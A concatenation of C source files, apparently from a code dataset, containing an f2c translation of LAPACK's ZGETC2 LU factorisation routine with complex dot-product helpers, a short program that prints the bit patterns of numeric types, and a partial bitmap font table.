static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__1 = 1;
static doublecomplex c_b10 = {-1.,0.};
/* > \brief \b ZGETC2 computes the LU factorization with complete pivoting of the general n-by-n matrix. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZGETC2 + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zgetc2.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zgetc2.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zgetc2.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE ZGETC2( N, A, LDA, IPIV, JPIV, INFO ) */
/* INTEGER INFO, LDA, N */
/* INTEGER IPIV( * ), JPIV( * ) */
/* COMPLEX*16 A( LDA, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZGETC2 computes an LU factorization, using complete pivoting, of the */
/* > n-by-n matrix A. The factorization has the form A = P * L * U * Q, */
/* > where P and Q are permutation matrices, L is lower triangular with */
/* > unit diagonal elements and U is upper triangular. */
/* > */
/* > This is a level 1 BLAS version of the algorithm. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is COMPLEX*16 array, dimension (LDA, N) */
/* > On entry, the n-by-n matrix to be factored. */
/* > On exit, the factors L and U from the factorization */
/* > A = P*L*U*Q; the unit diagonal elements of L are not stored. */
/* > If U(k, k) appears to be less than SMIN, U(k, k) is given the */
/* > value of SMIN, giving a nonsingular perturbed system. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1, N). */
/* > \endverbatim */
/* > */
/* > \param[out] IPIV */
/* > \verbatim */
/* > IPIV is INTEGER array, dimension (N). */
/* > The pivot indices; for 1 <= i <= N, row i of the */
/* > matrix has been interchanged with row IPIV(i). */
/* > \endverbatim */
/* > */
/* > \param[out] JPIV */
/* > \verbatim */
/* > JPIV is INTEGER array, dimension (N). */
/* > The pivot indices; for 1 <= j <= N, column j of the */
/* > matrix has been interchanged with column JPIV(j). */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > > 0: if INFO = k, U(k, k) is likely to produce overflow if */
/* > one tries to solve for x in Ax = b. So U is perturbed */
/* > to avoid the overflow. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date June 2016 */
/* > \ingroup complex16GEauxiliary */
/* > \par Contributors: */
/* ================== */
/* > */
/* > Bo Kagstrom and Peter Poromaa, Department of Computing Science, */
/* > Umea University, S-901 87 Umea, Sweden. */
/* ===================================================================== */
/* Subroutine */ int zgetc2_(integer *n, doublecomplex *a, integer *lda,
integer *ipiv, integer *jpiv, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3;
doublereal d__1;
doublecomplex z__1;
/* Local variables */
doublereal smin, xmax;
integer i__, j;
extern /* Subroutine */ int zgeru_(integer *, integer *, doublecomplex *,
doublecomplex *, integer *, doublecomplex *, integer *,
doublecomplex *, integer *), zswap_(integer *, doublecomplex *,
integer *, doublecomplex *, integer *), dlabad_(doublereal *,
doublereal *);
extern doublereal dlamch_(char *);
integer ip, jp;
doublereal bignum, smlnum, eps;
integer ipv, jpv;
/* -- LAPACK auxiliary routine (version 3.8.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* June 2016 */
/* ===================================================================== */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
--ipiv;
--jpiv;
/* Function Body */
*info = 0;
/* Quick return if possible */
if (*n == 0) {
return 0;
}
/* Set constants to control overflow */
eps = dlamch_("P");
smlnum = dlamch_("S") / eps;
bignum = 1. / smlnum;
dlabad_(&smlnum, &bignum);
/* Handle the case N=1 by itself */
if (*n == 1) {
ipiv[1] = 1;
jpiv[1] = 1;
if (z_abs(&a[a_dim1 + 1]) < smlnum) {
*info = 1;
i__1 = a_dim1 + 1;
z__1.r = smlnum, z__1.i = 0.;
a[i__1].r = z__1.r, a[i__1].i = z__1.i;
}
return 0;
}
/* Factorize A using complete pivoting. */
/* Set pivots less than SMIN to SMIN */
i__1 = *n - 1;
for (i__ = 1; i__ <= i__1; ++i__) {
/* Find f2cmax element in matrix A */
xmax = 0.;
i__2 = *n;
for (ip = i__; ip <= i__2; ++ip) {
i__3 = *n;
for (jp = i__; jp <= i__3; ++jp) {
if (z_abs(&a[ip + jp * a_dim1]) >= xmax) {
xmax = z_abs(&a[ip + jp * a_dim1]);
ipv = ip;
jpv = jp;
}
/* L10: */
}
/* L20: */
}
if (i__ == 1) {
/* Computing MAX */
d__1 = eps * xmax;
smin = f2cmax(d__1,smlnum);
}
/* Swap rows */
if (ipv != i__) {
zswap_(n, &a[ipv + a_dim1], lda, &a[i__ + a_dim1], lda);
}
ipiv[i__] = ipv;
/* Swap columns */
if (jpv != i__) {
zswap_(n, &a[jpv * a_dim1 + 1], &c__1, &a[i__ * a_dim1 + 1], &
c__1);
}
jpiv[i__] = jpv;
/* Check for singularity */
if (z_abs(&a[i__ + i__ * a_dim1]) < smin) {
*info = i__;
i__2 = i__ + i__ * a_dim1;
z__1.r = smin, z__1.i = 0.;
a[i__2].r = z__1.r, a[i__2].i = z__1.i;
}
i__2 = *n;
for (j = i__ + 1; j <= i__2; ++j) {
i__3 = j + i__ * a_dim1;
z_div(&z__1, &a[j + i__ * a_dim1], &a[i__ + i__ * a_dim1]);
a[i__3].r = z__1.r, a[i__3].i = z__1.i;
/* L30: */
}
i__2 = *n - i__;
i__3 = *n - i__;
zgeru_(&i__2, &i__3, &c_b10, &a[i__ + 1 + i__ * a_dim1], &c__1, &a[
i__ + (i__ + 1) * a_dim1], lda, &a[i__ + 1 + (i__ + 1) *
a_dim1], lda);
/* L40: */
}
if (z_abs(&a[*n + *n * a_dim1]) < smin) {
*info = *n;
i__1 = *n + *n * a_dim1;
z__1.r = smin, z__1.i = 0.;
a[i__1].r = z__1.r, a[i__1].i = z__1.i;
}
/* Set last pivots to N */
ipiv[*n] = *n;
jpiv[*n] = *n;
return 0;
/* End of ZGETC2 */
} /* zgetc2_ */
|
the_stack_data/234519092.c | #include <stdio.h>
/**
* Imprime os bits do byte endereΓ§ados por end_byte.
* @param end_byte endereΓ§o do byte a ser impresso
*/
void print_byte(char end_byte) {
unsigned char byte;
int pot, k, i;
byte = (unsigned char ) end_byte;
pot = 128;
for ( i = 0; i < 8; i++ ) {
k = byte / pot;
if ( k > 0 ) {
printf("1");
byte %= pot;
} else printf("0");
pot = pot / 2;
}
}
void print_bytes(const void * end_byte, int n) {
int i;
unsigned char * c = (unsigned char *) end_byte;
for ( i = 0; i < n; i++ ) {
print_byte( *(c + i) );
printf(" ");
}
}
int main() {
unsigned char ch;
unsigned short sh;
unsigned int in;
float fl;
double db;
scanf("%lf", &db);
ch = sh = in = fl = db;
print_bytes(&ch, sizeof(ch)); printf("\n");
print_bytes(&sh, sizeof(sh)); printf("\n");
print_bytes(&in, sizeof(in)); printf("\n");
print_bytes(&fl, sizeof(fl)); printf("\n");
print_bytes(&db, sizeof(db)); printf("\n");
return 0;
} |
the_stack_data/93888870.c |
const char default_font[4096] = {
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10101010,
0b10101010,
0b10000010,
0b10000010,
0b10101010,
0b10010010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01111100,
0b11111110,
0b11010110,
0b11010110,
0b11111110,
0b11111110,
0b11010110,
0b11101110,
0b01111100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b01101100,
0b11111110,
0b11111110,
0b11111110,
0b01111100,
0b00111000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00111000,
0b01111100,
0b11111110,
0b01111100,
0b00111000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00111000,
0b01010100,
0b11111110,
0b01010100,
0b00010000,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00111000,
0b01111100,
0b11111110,
0b11010110,
0b00010000,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00111100,
0b00111100,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11100111,
0b11000011,
0b11000011,
0b11100111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111100,
0b01100110,
0b01000010,
0b01000010,
0b01100110,
0b00111100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11000011,
0b10011001,
0b10111101,
0b10111101,
0b10011001,
0b11000011,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b00000000,
0b00010000,
0b00111000,
0b01010100,
0b10010010,
0b00010000,
0b00010000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00010000,
0b00010000,
0b11111110,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00001100,
0b00001110,
0b00001011,
0b00001011,
0b00001010,
0b00001000,
0b00001000,
0b00011000,
0b01111000,
0b11111000,
0b01110000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011111,
0b00011111,
0b00010001,
0b00010001,
0b00010001,
0b00010001,
0b00010001,
0b00010001,
0b01110111,
0b11111111,
0b01100110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b01010100,
0b00111000,
0b00101000,
0b00111000,
0b01010100,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b10000000,
0b11000000,
0b11100000,
0b11110000,
0b11111000,
0b11111100,
0b11111110,
0b11111100,
0b11111000,
0b11110000,
0b11100000,
0b11000000,
0b10000000,
0b00000000,
0b00000000,
0b00000000,
0b00000010,
0b00000110,
0b00001110,
0b00011110,
0b00111110,
0b01111110,
0b11111110,
0b01111110,
0b00111110,
0b00011110,
0b00001110,
0b00000110,
0b00000010,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00111000,
0b01010100,
0b10010010,
0b00010000,
0b00010000,
0b00010000,
0b10010010,
0b01010100,
0b00111000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b01000100,
0b01000100,
0b01000100,
0b01000100,
0b01000100,
0b01000100,
0b01000100,
0b01000100,
0b00000000,
0b00000000,
0b01000100,
0b01000100,
0b00000000,
0b00000000,
0b00000000,
0b00111110,
0b01001010,
0b10001010,
0b10001010,
0b10001010,
0b10001010,
0b01001010,
0b00111010,
0b00001010,
0b00001010,
0b00001010,
0b00001010,
0b00001010,
0b00000000,
0b00000000,
0b01111100,
0b10000010,
0b01000000,
0b00100000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00001000,
0b00000100,
0b10000010,
0b01111100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b11111110,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00111000,
0b01010100,
0b10010010,
0b00010000,
0b00010000,
0b00010000,
0b10010010,
0b01010100,
0b00111000,
0b00010000,
0b01111100,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00111000,
0b01010100,
0b10010010,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b10010010,
0b01010100,
0b00111000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00001000,
0b00000100,
0b11111110,
0b00000100,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00100000,
0b01000000,
0b11111110,
0b01000000,
0b00100000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b10000000,
0b10000000,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00101000,
0b01000100,
0b11111110,
0b01000100,
0b00101000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00111000,
0b00111000,
0b01111100,
0b01111100,
0b11111110,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b11111110,
0b01111100,
0b01111100,
0b00111000,
0b00111000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00101000,
0b00101000,
0b00101000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b01000100,
0b01000100,
0b01000100,
0b11111110,
0b01000100,
0b01000100,
0b01000100,
0b01000100,
0b01000100,
0b11111110,
0b01000100,
0b01000100,
0b01000100,
0b00000000,
0b00000000,
0b00010000,
0b00111010,
0b01010110,
0b10010010,
0b10010010,
0b10010000,
0b01010000,
0b00111000,
0b00010100,
0b00010010,
0b10010010,
0b10010010,
0b11010100,
0b10111000,
0b00010000,
0b00010000,
0b01100010,
0b10010010,
0b10010100,
0b10010100,
0b01101000,
0b00001000,
0b00010000,
0b00010000,
0b00100000,
0b00101100,
0b01010010,
0b01010010,
0b10010010,
0b10001100,
0b00000000,
0b00000000,
0b00000000,
0b01110000,
0b10001000,
0b10001000,
0b10001000,
0b10010000,
0b01100000,
0b01000111,
0b10100010,
0b10010010,
0b10001010,
0b10000100,
0b01000110,
0b00111001,
0b00000000,
0b00000000,
0b00000100,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000010,
0b00000100,
0b00001000,
0b00001000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00001000,
0b00001000,
0b00000100,
0b00000010,
0b00000000,
0b10000000,
0b01000000,
0b00100000,
0b00100000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00100000,
0b00100000,
0b01000000,
0b10000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b10010010,
0b01010100,
0b00111000,
0b01010100,
0b10010010,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b11111110,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00001000,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00000000,
0b00000000,
0b00000010,
0b00000010,
0b00000100,
0b00000100,
0b00001000,
0b00001000,
0b00001000,
0b00010000,
0b00010000,
0b00100000,
0b00100000,
0b01000000,
0b01000000,
0b01000000,
0b10000000,
0b10000000,
0b00000000,
0b00011000,
0b00100100,
0b00100100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b00100100,
0b00100100,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00001000,
0b00011000,
0b00101000,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00111110,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00100100,
0b01000010,
0b01000010,
0b00000010,
0b00000100,
0b00001000,
0b00010000,
0b00100000,
0b00100000,
0b01000000,
0b01000000,
0b01111110,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00100100,
0b01000010,
0b00000010,
0b00000010,
0b00000100,
0b00011000,
0b00000100,
0b00000010,
0b00000010,
0b01000010,
0b00100100,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00001100,
0b00001100,
0b00001100,
0b00010100,
0b00010100,
0b00010100,
0b00100100,
0b00100100,
0b01000100,
0b01111110,
0b00000100,
0b00000100,
0b00011110,
0b00000000,
0b00000000,
0b00000000,
0b01111100,
0b01000000,
0b01000000,
0b01000000,
0b01011000,
0b01100100,
0b00000010,
0b00000010,
0b00000010,
0b00000010,
0b01000010,
0b00100100,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00100100,
0b01000010,
0b01000000,
0b01011000,
0b01100100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b00100100,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b01111110,
0b01000010,
0b01000010,
0b00000100,
0b00000100,
0b00001000,
0b00001000,
0b00001000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00100100,
0b01000010,
0b01000010,
0b01000010,
0b00100100,
0b00011000,
0b00100100,
0b01000010,
0b01000010,
0b01000010,
0b00100100,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00100100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b00100110,
0b00011010,
0b00000010,
0b01000010,
0b00100100,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00001000,
0b00001000,
0b00010000,
0b00000000,
0b00000010,
0b00000100,
0b00001000,
0b00010000,
0b00100000,
0b01000000,
0b10000000,
0b10000000,
0b01000000,
0b00100000,
0b00010000,
0b00001000,
0b00000100,
0b00000010,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b00000000,
0b00000000,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b10000000,
0b01000000,
0b00100000,
0b00010000,
0b00001000,
0b00000100,
0b00000010,
0b00000010,
0b00000100,
0b00001000,
0b00010000,
0b00100000,
0b01000000,
0b10000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b00000100,
0b00001000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10011010,
0b10101010,
0b10101010,
0b10101010,
0b10101010,
0b10101010,
0b10011100,
0b10000000,
0b01000110,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00011000,
0b00011000,
0b00011000,
0b00100100,
0b00100100,
0b00100100,
0b00100100,
0b01111110,
0b01000010,
0b01000010,
0b01000010,
0b11100111,
0b00000000,
0b00000000,
0b00000000,
0b11110000,
0b01001000,
0b01000100,
0b01000100,
0b01000100,
0b01001000,
0b01111000,
0b01000100,
0b01000010,
0b01000010,
0b01000010,
0b01000100,
0b11111000,
0b00000000,
0b00000000,
0b00000000,
0b00111010,
0b01000110,
0b01000010,
0b10000010,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b10000010,
0b01000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b11111000,
0b01000100,
0b01000100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000100,
0b01000100,
0b11111000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b01000010,
0b01000010,
0b01000000,
0b01000000,
0b01000100,
0b01111100,
0b01000100,
0b01000000,
0b01000000,
0b01000010,
0b01000010,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b01000010,
0b01000010,
0b01000000,
0b01000000,
0b01000100,
0b01111100,
0b01000100,
0b01000100,
0b01000000,
0b01000000,
0b01000000,
0b11110000,
0b00000000,
0b00000000,
0b00000000,
0b00111010,
0b01000110,
0b01000010,
0b10000010,
0b10000000,
0b10000000,
0b10011110,
0b10000010,
0b10000010,
0b10000010,
0b01000010,
0b01000110,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b01000010,
